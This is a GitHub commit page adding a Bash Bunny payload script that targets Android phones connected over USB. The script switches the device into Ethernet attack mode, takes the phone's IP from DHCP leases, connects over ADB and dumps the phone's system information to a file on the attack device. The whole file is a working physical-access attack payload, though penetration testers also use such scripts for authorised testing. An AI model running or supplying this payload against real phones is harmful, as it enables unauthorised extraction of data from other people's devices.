-
Notifications
You must be signed in to change notification settings - Fork 1.5k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
30 additions
and
0 deletions.
There are no files selected for viewing
30 changes: 30 additions & 0 deletions
30
payloads/library/mobile/android/adb_shell_dumpsys/payload.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
# Set the Bash Bunny to ECM Ethernet attack mode | ||
ATTACKMODE ECM_ETHERNET | ||
|
||
# Wait for 5 seconds to ensure the network interface is ready | ||
sleep 5 | ||
|
||
# Extract the IP address of the connected device from DHCP leases | ||
TARGET_IP=$(cat /var/lib/dhcp/dhcpd.leases | grep ^lease | awk '{ print $2 }' | sort | uniq) | ||
|
||
# Save the obtained IP address to a log file | ||
cat /var/lib/dhcp/dhcpd.leases | grep ^lease | awk '{ print $2 }' | sort | uniq > /root/logs.txt | ||
|
||
# Connect to the device using ADB over TCP/IP and save the output to a log file | ||
adb connect ${TARGET_IP} | ||
adb connect ${TARGET_IP} > /root/logs.txt | ||
|
||
# Wait for 20 seconds (optional) | ||
sleep 20 | ||
|
||
# Dump system information from the device and save it to a file | ||
adb shell dumpsys > /root/dumpsys.txt | ||
|
||
# Wait for 10 seconds (optional) | ||
sleep 10 | ||
|
||
# Set the Bash Bunny back to ECM Ethernet attack mode | ||
ATTACKMODE ECM_ETHERNET | ||
|
||
# Indicate that the payload has finished executing | ||
LED FINISH |